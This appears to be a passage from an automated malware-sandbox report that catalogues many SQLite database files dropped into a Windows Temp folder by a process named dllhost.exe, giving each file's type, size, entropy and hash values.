                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\X0E18zdVeb

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\X2kjsyy2bH

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\XJq0wWYSge

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\XKg6fbmiLO

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\XQyLm64vpY

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\XgImwYm8pf

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\XgPLtrtQT7

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\Xp5rRjfChX

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):106496
                                                                                                                                      Entropy (8bit):1.1358696453229276
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
                                                                                                                                      MD5:28591AA4E12D1C4FC761BE7C0A468622
                                                                                                                                      SHA1:BC4968A84C19377D05A8BB3F208FBFAC49F4820B
                                                                                                                                      SHA-256:51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
                                                                                                                                      SHA-512:5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\YemjCbAnkm

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\YsBb6jIEAx

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
                                                                                                                                      SHA-512:E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\ZB6SEsxs6k

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\ZRt01BwYkl

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\ZqAJ7KX2Ct

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\ZwaoUa22fy

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\a1EhoZIF6l

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\aNihLscoy4

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):40960
                                                                                                                                      Entropy (8bit):0.8553638852307782
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
                                                                                                                                      MD5:28222628A3465C5F0D4B28F70F97F482
                                                                                                                                      SHA1:1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
                                                                                                                                      SHA-256:93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
                                                                                                                                      SHA-512:C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\bHj22kT8GW

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\bKBlXfQxOf

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, file counter 2, database pages 31, cookie 0x18, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):126976
                                                                                                                                      Entropy (8bit):0.47147045728725767
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:/WU+bDoYysX0uhnyTpvVjN9DLjGQLBE3u:/l+bDo3irhnyTpvVj3XBBE3u
                                                                                                                                      MD5:A2D1F4CF66465F9F0CAC61C4A95C7EDE
                                                                                                                                      SHA1:BA6A845E247B221AAEC96C4213E1FD3744B10A27
                                                                                                                                      SHA-256:B510DF8D67E38DCAE51FE97A3924228AD37CF823999FD3BC6BA44CA6535DE8FE
                                                                                                                                      SHA-512:C571E5125C005EAC0F0B72B5F132AE03783AF8D621BFA32B366B0E8A825EF8F65E33CD330E42BDC722BFA012E3447A7218F05FDD4A5AD855C1CA22DFA2F79838
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\bKPW99smPk

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):159744
                                                                                                                                      Entropy (8bit):0.7873599747470391
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
                                                                                                                                      MD5:6A6BAD38068B0F6F2CADC6464C4FE8F0
                                                                                                                                      SHA1:4E3B235898D8E900548613DDB6EA59CDA5EB4E68
                                                                                                                                      SHA-256:0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
                                                                                                                                      SHA-512:BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\bOdyUqSH81

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):20480
                                                                                                                                      Entropy (8bit):0.5712781801655107
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
                                                                                                                                      MD5:05A60B4620923FD5D53B9204391452AF
                                                                                                                                      SHA1:DC12F90925033F25C70A720E01D5F8666D0B46E4
                                                                                                                                      SHA-256:6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
                                                                                                                                      SHA-512:068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\bYg5r02tmH

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):49152
                                                                                                                                      Entropy (8bit):0.8180424350137764
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
                                                                                                                                      MD5:349E6EB110E34A08924D92F6B334801D
                                                                                                                                      SHA1:BDFB289DAFF51890CC71697B6322AA4B35EC9169
                                                                                                                                      SHA-256:C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
                                                                                                                                      SHA-512:2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
                                                                                                                                      Malicious:false
                                                                                                                                      Preview:SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                      C:\Users\user\AppData\Local\Temp\blyOt107Zs

                                                                                                                                      Download File
                                                                                                                                      Process:C:\Users\Public\Libraries\dllhost.exe
                                                                                                                                      File Type:SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
                                                                                                                                      Category:dropped
                                                                                                                                      Size (bytes):114688
                                                                                                                                      Entropy (8bit):0.9746603542602881
                                                                                                                                      Encrypted:false
                                                                                                                                      SSDEEP:192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
                                                                                                                                      MD5:780853CDDEAEE8DE70F28A4B255A600B
                                                                                                                                      SHA1:AD7A5DA33F7AD12946153C497E990720B09005ED
                                                                                                                                      SHA-256:1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
